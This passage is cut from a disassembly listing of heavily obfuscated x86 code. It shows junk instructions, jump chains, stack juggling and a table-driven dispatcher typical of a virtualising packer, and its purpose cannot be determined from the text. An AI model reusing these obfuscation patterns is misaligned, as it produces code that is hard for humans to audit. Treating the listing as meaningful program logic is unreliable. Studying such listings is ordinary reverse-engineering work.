CHUNK AT 00596810 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005969AB SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00596A48 SIZE 00000011 BYTES push ebp jmp loc_58D3CD sub_59576E endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] add esp, 4 push edx push esp pop edx push ecx mov ecx, 2C76A5Fh shl ecx, 1 jmp loc_58FF51 ; --------------------------------------------------------------------------- loc_59578D: ; CODE XREF: sdfs____:0058C836j mov [esp], edx push esp jmp loc_593AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DB37 loc_595796: ; CODE XREF: sub_58DB37-10Dj push ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58DB37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59579E: ; CODE XREF: sub_594228-BA4j sub esi, 27B10321h sub esp, 4 jmp loc_593A28 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_5957AC: ; CODE XREF: sdfs____:0058E3A5j add esp, 4 jmp loc_5946DC ; --------------------------------------------------------------------------- loc_5957B4: ; CODE XREF: sdfs____:00598221j pop esi xchg edx, [esp] pop esp ror word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5957C3: ; CODE XREF: sdfs____:0058C590j xor ebx, 48CB5598h jmp loc_5972CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_5957CE: ; CODE XREF: sub_5917C0-4078j mov ebx, 0EF40A6Dh mov ebp, ebx mov ebx, [esp-4+arg_0] add esp, 4 sub ebp, 0D85E8C0Bh sub ebx, ebp mov ebp, [esp-8+arg_4] jmp loc_5964A1 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5957EE: ; CODE XREF: sub_591435-3E15j xor eax, ebp sub esp, 4 mov [esp+0Ch+var_C], ebp push ebx mov ebx, 491C175Fh mov ebp, 0B6E3E8A2h push ebx jmp loc_595C81 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59580A: ; CODE XREF: sdfs____:0059840Ej push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] jmp loc_59419F ; --------------------------------------------------------------------------- loc_595825: ; CODE XREF: sdfs____:005913FCj mov ch, 0A0h add bl, 0C8h sub bl, 16h add bl, ch push eax mov al, 0Ah dec al not al sub al, 0E0h add bl, al pop eax sub bl, 0C8h pop cx add bl, dh sub bl, 0A0h pop edx jmp loc_59134C ; --------------------------------------------------------------------------- loc_59584B: ; CODE XREF: sdfs____:005962ACj push 2567786h pop ebx shr ebx, 2 shr ebx, 3 js loc_594B8C jmp loc_597337 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_595862: ; CODE XREF: sub_598A21-7B3Cj add eax, 249846FBh pop edi add eax, 4 jmp loc_58D8DD ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- loc_595872: ; CODE XREF: sdfs____:0058CFACj xchg edx, [esp] jmp loc_590862 ; =============== S U B R O U T I N E ======================================= sub_59587A proc near ; CODE XREF: sub_5941BD-4543j ; sdfs____:005939CBj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058B9CB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058C35E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058C3FE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058C4B9 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058D2C6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058D89A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058DBC5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E263 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F160 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F706 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FE94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00590A48 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00590D59 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00590E70 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591475 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059170D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005919BA SIZE 00000040 BYTES ; FUNCTION CHUNK AT 00592793 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005927BF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005929CF SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00593D71 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00593DE7 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00594808 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00594A6A SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005951BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059597F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059650D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005965B4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059677A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00596B2A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00597CAD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597E85 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059831B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005986CD SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00598806 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00598AB5 SIZE 0000000D BYTES push ebp jmp loc_590A48 sub_59587A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_595880: ; CODE XREF: sdfs____:00593410j mov edi, 4 add ecx, edi pop edi jmp loc_5964B0 ; --------------------------------------------------------------------------- loc_59588D: ; CODE XREF: sdfs____:0059817Bj pop edx push edi mov edi, esp jmp loc_58BB55 ; --------------------------------------------------------------------------- loc_595896: ; CODE XREF: sdfs____:0058D57Dj push ecx push esp pop ecx sub esp, 4 mov [esp], edx mov edx, 4 add ecx, edx mov edx, [esp] push eax push esp pop eax push ecx mov ecx, 4 jmp loc_58FFC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_5958BA: ; CODE XREF: sub_5941BD-A29j mov eax, [esp+0Ch+var_C] add esp, 4 push eax push ebx push 53D25EF1h mov ebx, [esp+14h+var_14] add esp, 4 push 693Bh jmp loc_58C202 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_5958DD: ; CODE XREF: sdfs____:0058BB64j xor edi, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], esi push 4F7B3373h jmp loc_58BC48 ; --------------------------------------------------------------------------- loc_5958F4: ; CODE XREF: sdfs____:0058E8C2j pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_59862C ; --------------------------------------------------------------------------- loc_595909: ; CODE XREF: sdfs____:0058BAD2j add dword ptr [esp+4], 40B562EDh jmp loc_595550 ; --------------------------------------------------------------------------- loc_595916: ; CODE XREF: sdfs____:0059756Cj add ebx, edx add ebx, 4C006E18h sub ebx, 56CC3297h pop edx push ecx mov ecx, 73BE59CFh sub ecx, 73BE59CBh add ebx, ecx jmp loc_58E1CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_595938: ; CODE XREF: sub_5BB696-26C95j xchg edi, edx sub edx, 86127C86h add edi, 5F7463CDh jmp loc_58D0C8 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_59594B: ; CODE XREF: sdfs____:0058CB53j mov [esp], edx jmp loc_5951F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_595953: ; CODE XREF: sub_591370+2F1Bj mov edx, [esp-14h+arg_10] add esp, 4 push esi jmp loc_591F68 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_59595F: ; CODE XREF: sub_5985AE-B1B4j mov esi, [esp-4+arg_0] add esp, 4 pop eax sub eax, 33D01293h push eax jmp loc_58FCF4 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_595974: ; CODE XREF: sdfs____:00592EA3j xor ecx, [esp] xor [esp], ecx jmp loc_58FC61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_59597F: ; CODE XREF: sub_59587A-2E93j add ecx, edx mov [ecx], al pop ecx jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_595989: ; CODE XREF: sdfs____:00595B7Dj pop ebx add al, dl mov edx, [esp] push edx mov edx, esp add edx, 4 jmp loc_58D566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59599D: ; CODE XREF: sub_5941BD:loc_59641Bj jmp loc_593FDC ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_5959A2: ; CODE XREF: sub_591AD9-451Dj push esi pop eax pop esi xchg eax, [esp+0] mov eax, [esp+0] jmp sub_58BC4E ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_5959B0: ; CODE XREF: sub_58EB23+3616j xor ch, 63h xor ch, 0B0h jge loc_58E950 shl ch, 8 add ch, 0E8h mov dl, ch pop ecx add dl, 0A4h ; END OF FUNCTION CHUNK FOR sub_58EB23 ; START OF FUNCTION CHUNK FOR sub_591435 loc_5959C8: ; CODE XREF: sub_591435+7DCj ; sdfs____:00594C98j xchg edx, ebp jmp loc_597F1E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5959CF: ; CODE XREF: sdfs____:00598D1Bj jmp loc_5903C8 ; --------------------------------------------------------------------------- loc_5959D4: ; CODE XREF: sdfs____:0058CAC1j add eax, 4 push 8E0h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_592490 ; --------------------------------------------------------------------------- loc_5959ED: ; CODE XREF: sdfs____:0058EB5Cj sub eax, 5ABE0542h shl eax, 3 push edx jmp loc_5921CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5959FB: ; CODE XREF: sub_594228+994j push 0FFFFh pop edi and eax, edi mov edi, [esp+1Ah+var_1C+2] sub esp, 4 jmp loc_58DFAA ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_595A0E: ; CODE XREF: sdfs____:00594988j mov cl, dh pop edx pop eax push 199Ch mov [esp], ebx mov bl, cl push ecx mov cl, bl mov [edi+eax*4+1], cl mov ecx, [esp] add esp, 4 pop ebx jmp loc_594173 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_595A2F: ; CODE XREF: sub_58BC4E+6656j mov [esp+8+var_8], ebp jmp loc_59510C ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_595A37: ; CODE XREF: sdfs____:00598127j mov al, bh mov dh, al pop eax mov cl, dh mov edx, [esp] add esp, 4 jmp loc_58E0CD ; --------------------------------------------------------------------------- loc_595A4C: ; CODE XREF: sdfs____:0058D819j push ebx mov ebx, 270446E1h jmp loc_58BEAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595A57: ; CODE XREF: sub_594228-636Fj xor ecx, 3048647Fh add ecx, 79B912CCh not ecx jmp loc_591CBD ; --------------------------------------------------------------------------- loc_595A6A: ; CODE XREF: sub_594228+1037j ; sub_594228+1D30j pop eax xor eax, 675D6CB9h jmp loc_594B91 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_595A75: ; CODE XREF: sub_5917C0-F1Aj mov edi, 0 sub edi, esi mov esi, edi jmp loc_58C963 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_595A83: ; CODE XREF: sdfs____:00593F4Dj add edi, esi add edi, 19D174F3h mov esi, [esp] add esp, 4 add edi, 2 push 633Ch mov [esp], edi push dword ptr [esp+4] mov edi, [esp] jmp loc_58F9F7 ; --------------------------------------------------------------------------- loc_595AA8: ; CODE XREF: sdfs____:00595F15j xor edi, 0A437CB9Bh mov ecx, edi pop edi mov ebp, 0AE8DECAFh add ebp, ecx pop ecx sub ebp, 0E162191h jmp loc_59221B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_595AC4: ; CODE XREF: sub_591AD9+1433j xchg ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] mov [esp-8+arg_4], eax push eax push [esp-4+arg_4] mov eax, [esp+0] add esp, 4 pop [esp-4+arg_0] xor eax, esi jmp loc_594D71 ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595AE2: ; CODE XREF: sub_591435-1CD2j shr ecx, 2 jmp sub_591370 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_595AEA: ; CODE XREF: sdfs____:00598B31j mov ebx, 0D3B2E312h add ebx, edx pop edx dec ebx neg ebx sub esp, 4 mov [esp], ebp jmp loc_596A66 ; --------------------------------------------------------------------------- loc_595B03: ; CODE XREF: sdfs____:005985C3j pop esi push ecx push dword ptr [esp+4] jmp loc_597BC8 ; --------------------------------------------------------------------------- loc_595B0E: ; CODE XREF: sdfs____:00593458j push ebp mov ebp, 4 jmp loc_593E1B ; --------------------------------------------------------------------------- loc_595B19: ; CODE XREF: sdfs____:0058EC02j xchg eax, [esp] pop esp sar word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_597717 ; --------------------------------------------------------------------------- loc_595B30: ; CODE XREF: sdfs____:00590F88j mov dl, ch jmp loc_58CADA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC13 loc_595B37: ; CODE XREF: sub_58EC13-184Bj push esp jmp loc_594206 ; END OF FUNCTION CHUNK FOR sub_58EC13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_595B3D: ; CODE XREF: sub_58CDE6+BE92j mov [esp-4+arg_0], ebx sub esp, 4 mov [esp+0], edx mov edx, 13516D69h mov ebx, 3753117Dh jmp loc_593E59 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595B55: ; CODE XREF: sub_594228+4732j sub eax, esi push esi mov esi, 3DCF489Dh or esi, 71292BE1h jmp loc_58D555 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_595B68: ; CODE XREF: sdfs____:00594C72j add edx, 4 add edx, 2 jmp loc_58E0DB ; --------------------------------------------------------------------------- loc_595B76: ; CODE XREF: sdfs____:0058D699j xor al, 0D8h add bh, al pop eax add dl, bh jmp loc_595989 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595B82: ; CODE XREF: sub_591435+306Bj xor [esp+10h+var_10], edi xor edi, [esp+10h+var_10] mov esp, [esp+10h+var_10] jmp loc_598664 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_595B90: ; CODE XREF: sdfs____:00592364j add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5909C0 ; --------------------------------------------------------------------------- loc_595BA1: ; CODE XREF: sdfs____:0058C5C0j push eax mov eax, 772A3B12h add ebx, 14E622D4h add ebx, eax sub ebx, 14E622D4h push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_590AC9 ; --------------------------------------------------------------------------- loc_595BC1: ; CODE XREF: sdfs____:00592560j mov ebp, 64994A2Fh mov edx, 66696B43h sub edx, ebp jmp loc_58B9FB ; --------------------------------------------------------------------------- loc_595BD2: ; CODE XREF: sdfs____:005955F5j add [esp+4], ebp pop ebp push dword ptr [esp] mov esi, [esp] add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_593E6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_595BEE: ; CODE XREF: sdfs____:0058C0DDj ; sub_591370+24B4j mov esi, 18C4421Bh add edi, esi jmp loc_58CDAE ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_595BFA: ; CODE XREF: sdfs____:005970B4j add eax, esi jmp loc_58BD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_595C01: ; CODE XREF: sub_5985AE-5E89j add eax, 3B2407CCh sub eax, 2E213A67h add eax, 70DA14E8h pop ebx jmp loc_593E2B ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595C16: ; CODE XREF: sub_594228-1154j pop esi mov esi, [esp+2+var_4+2] jmp loc_58BECF ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5927EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595C37: ; CODE XREF: sub_594228+1F91j xor [esp+4], ecx pop ecx pop eax push ebx push ebp push 30A16799h pop ebp jmp loc_58D452 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_595C4A: ; CODE XREF: sdfs____:00594A2Fj sub edi, edx pop edx xchg edi, [esp] jmp loc_5924F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_595C55: ; CODE XREF: sub_59214E-5E24j jmp loc_58D375 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_595C5A: ; CODE XREF: sdfs____:00593F7Dj mov edi, [esp] add esp, 4 jmp loc_5963A1 ; --------------------------------------------------------------------------- loc_595C68: ; CODE XREF: sdfs____:00590769j push edx mov edx, 4 sub edi, 487B753Dh jmp loc_591153 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_595C79: ; CODE XREF: sub_5962EB-967Cj xor ecx, [esp-8+arg_4] jmp loc_591C16 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595C81: ; CODE XREF: sub_591435+43D0j mov ebx, 65B7601Eh add ebx, 0B85BE5ACh add ebp, ebx pop ebx add ebp, ebx push 1F86h mov [esp+14h+var_14], edx mov edx, 1E1345CAh sub ebp, edx pop edx mov ebx, [esp+10h+var_10] jmp loc_58D500 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_595CA9: ; CODE XREF: sdfs____:0058E07Fj mov esp, [esp] jmp loc_592117 ; --------------------------------------------------------------------------- loc_595CB1: ; CODE XREF: sdfs____:loc_5903B4j and esi, 13866692h jmp loc_594241 ; --------------------------------------------------------------------------- loc_595CBC: ; CODE XREF: sdfs____:00592AB2j mov cx, [esp] add esp, 2 push ax jmp loc_59602B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_595CCA: ; CODE XREF: sub_5962EB-7D71j shr eax, 8 xor eax, ecx xchg eax, ebx push ebx xor [esp-8+arg_4], ecx xor ecx, [esp-8+arg_4] xor [esp-8+arg_4], ecx jmp loc_591ECC ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_595CDF: ; CODE XREF: sub_58BC4E+6925j mov ebp, 56704E7Ch mov ebx, ebp pop ebp add eax, ebx pop ebx jmp loc_59229F ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_595CEF: ; CODE XREF: sdfs____:0059222Dj sub esp, 4 mov [esp], eax jmp loc_5971AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595CFD: ; CODE XREF: sub_594228-3AD2j ; sub_594228-2318j pop ebp not edx add edx, 617D39FAh sub edx, 7C43B1D1h xor esi, edx pop edx sub esp, 4 mov [esp+22h+var_24+2], ebp mov ebp, esi mov ebx, ebp push [esp+22h+var_24+2] pop ebp add esp, 4 jmp loc_593FD4 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_595D28: ; CODE XREF: sdfs____:00593FBDj sub esp, 4 mov [esp], esi push esp pop esi push eax mov eax, 745A3A2Ch jmp loc_5974E7 ; --------------------------------------------------------------------------- loc_595D3E: ; CODE XREF: sdfs____:00596FBFj push esp pop esi add esi, 4 jmp loc_58F715 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_595D4B: ; CODE XREF: sub_595678-8A50j add ecx, 0C0361A5Eh add esi, ecx pop ecx sub esi, 4 xchg esi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebp push 3B8Bh mov [esp+8+var_8], eax jmp loc_597251 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- loc_595D6E: ; CODE XREF: sdfs____:0058FB25j mov dh, 16h jmp loc_597A18 ; --------------------------------------------------------------------------- loc_595D75: ; CODE XREF: sdfs____:00595E8Fj pop ecx add esp, 4 jmp loc_590406 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax sub esp, 4 push 4F7Bh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push esi mov esi, 4 jmp loc_58E684 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595DAB: ; CODE XREF: sub_591435-558Cj sub al, ch pop ecx sub esp, 4 mov [esp+14h+var_14], ecx mov ch, 70h not ch push eax mov ah, 3Dh neg ah shr ah, 4 sub ah, 0A4h jmp loc_592C8F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp add ebp, 4 push edx push eax jmp loc_58E114 ; --------------------------------------------------------------------------- loc_595DDF: ; CODE XREF: sdfs____:0058C840j add ecx, ebp pop ebp xchg esi, ecx dec esi xchg esi, ecx sub ecx, 0D1504D54h add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_591076 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_595E06: ; CODE XREF: sub_591370:loc_59007Ej sub eax, 1119E9F6h jmp loc_598B17 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_595E10: ; CODE XREF: sub_5962EB-3A86j sub eax, 0CD54FA96h jmp loc_5949D9 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_595E1A: ; CODE XREF: sdfs____:0058EA4Dj mov [esp], ebx push esp pop ebx push ebp mov ebp, 6B2C5042h jmp loc_595FBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_595E2A: ; CODE XREF: sub_58EB23+8291j mov ecx, 2 add esi, ecx pop ecx xchg esi, [esp-14h+arg_C] pop esp movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- jmp loc_597753 ; --------------------------------------------------------------------------- loc_595E41: ; CODE XREF: sdfs____:loc_5923B0j shr ebp, 8 js loc_592302 jmp loc_58BE60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595E4F: ; CODE XREF: sub_594228-8784j push dword ptr [esp+4] jmp loc_591F1D ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595E58: ; CODE XREF: sub_591435+2B2Aj mov ebp, 335D2253h push ebx jmp loc_591CFE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_595E63: ; CODE XREF: sdfs____:loc_58FF51j add ecx, 41FD13C6h jnp loc_58FE47 push edi mov edi, 478BE880h jmp loc_58F749 ; --------------------------------------------------------------------------- mov cx, [esp] push esi push esp mov esi, [esp] push edx jmp loc_598732 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_595D75 ; --------------------------------------------------------------------------- loc_595E94: ; CODE XREF: sdfs____:0058F6EBj xor ecx, [esp] jmp loc_5902A7 ; --------------------------------------------------------------------------- loc_595E9C: ; CODE XREF: sdfs____:0058C059j add esi, ecx jmp loc_58E075 ; --------------------------------------------------------------------------- loc_595EA3: ; CODE XREF: sdfs____:0058C890j pop esi jmp loc_596831 ; --------------------------------------------------------------------------- loc_595EA9: ; CODE XREF: sdfs____:0058C992j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595EAE: ; CODE XREF: sub_591435-1584j pop ebx sub bl, al pop eax push ecx mov cl, 1Dh or cl, 98h jmp sub_5929B9 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_595EBD: ; CODE XREF: sdfs____:0058D7FCj mov edi, edx pop edx add esi, edi pop edi jmp loc_590B89 ; --------------------------------------------------------------------------- loc_595EC8: ; CODE XREF: sdfs____:0058E605j mov [esp], ecx mov ecx, 88613CEh jmp loc_58F8DC ; --------------------------------------------------------------------------- loc_595ED5: ; CODE XREF: sdfs____:00594942j xor edx, [esp] jmp loc_58CED7 ; --------------------------------------------------------------------------- loc_595EDD: ; CODE XREF: sdfs____:00593032j mov ebp, 0F8B9C9BEh xor ebx, ebp pop ebp push ebp jmp loc_593EE7 ; --------------------------------------------------------------------------- loc_595EEB: ; CODE XREF: sdfs____:0058D1EEj jmp loc_58DD8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_595EF0: ; CODE XREF: sub_5917C0-270Dj ; sub_59576E-59B7j mov esp, [esp-4+arg_0] mov word ptr [esp-4+arg_0], ax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_595EFC: ; CODE XREF: sdfs____:00591B2Cj xor esi, edi pop edi jmp loc_5922CC ; =============== S U B R O U T I N E ======================================= sub_595F04 proc near ; CODE XREF: sub_591370-1C77j sub esp, 4 jmp loc_594269 sub_595F04 endp ; --------------------------------------------------------------------------- loc_595F0F: ; CODE XREF: sdfs____:00598025j or edi, 79374B7Dh jmp loc_595AA8 ; --------------------------------------------------------------------------- push edx push 0FEh pop edx jmp loc_594372 ; --------------------------------------------------------------------------- loc_595F26: ; CODE XREF: sdfs____:005924E7j pop esi jmp loc_596116 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_595F2C: ; CODE XREF: sub_591370-17DAj add eax, ebx push ebx mov ebx, 64B43C8h add eax, ebx pop ebx jmp loc_58E7D3 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_595F3C: ; CODE XREF: sdfs____:00593F25j push 4F41h jmp loc_597D6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_595F46: ; CODE XREF: sub_59587A:loc_58FE94j ; sub_594228+3923j xor esi, 68850A1Dh jno loc_58F77A xor esi, 3E19768Ch jmp loc_595A6A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx loc_595F61: ; CODE XREF: sdfs____:0058C2B6j inc eax jmp loc_58C579 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_595F67: ; CODE XREF: sub_5917C0-470Fj inc ebx jle loc_58ED45 push edi mov edi, 5A191133h sub edi, 6A2F1903h loc_595F7A: ; CODE XREF: sdfs____:0059089Cj not ecx xor ecx, 5BCD14CEh add ecx, 1 add ecx, 0D2B0B476h sub eax, ecx jmp loc_590BD9 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_595F92: ; CODE XREF: sdfs____:0058E1ABj mov ebx, 0 jmp loc_5908F3 ; --------------------------------------------------------------------------- loc_595F9C: ; CODE XREF: sdfs____:00596278j mov al, cl pop ecx mov ebx, [esp] add esp, 4 push ebx mov bh, 49h xor al, bh pop ebx push ecx mov cl, 7Fh add al, cl pop ecx dec al push edx jmp loc_58E7DD ; --------------------------------------------------------------------------- loc_595FBC: ; CODE XREF: sdfs____:00595E25j and ebp, 58D5356Dh sub ebp, 33D41CD0h sub ebp, 14C270CFh sub ebp, 0FF6D829Dh add ebx, ebp mov ebp, [esp] add esp, 4 push ecx jmp loc_58DB45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_595FE5: ; CODE XREF: sub_591435+3917j add ebx, 4 add ebx, 4 xchg ebx, [esp+6+var_8+2] pop esp sub esp, 4 mov [esp+6+var_8+2], ebp mov ebp, 2000h jmp loc_59176A ; END OF FUNCTION CHUNK FOR sub_591435 ; 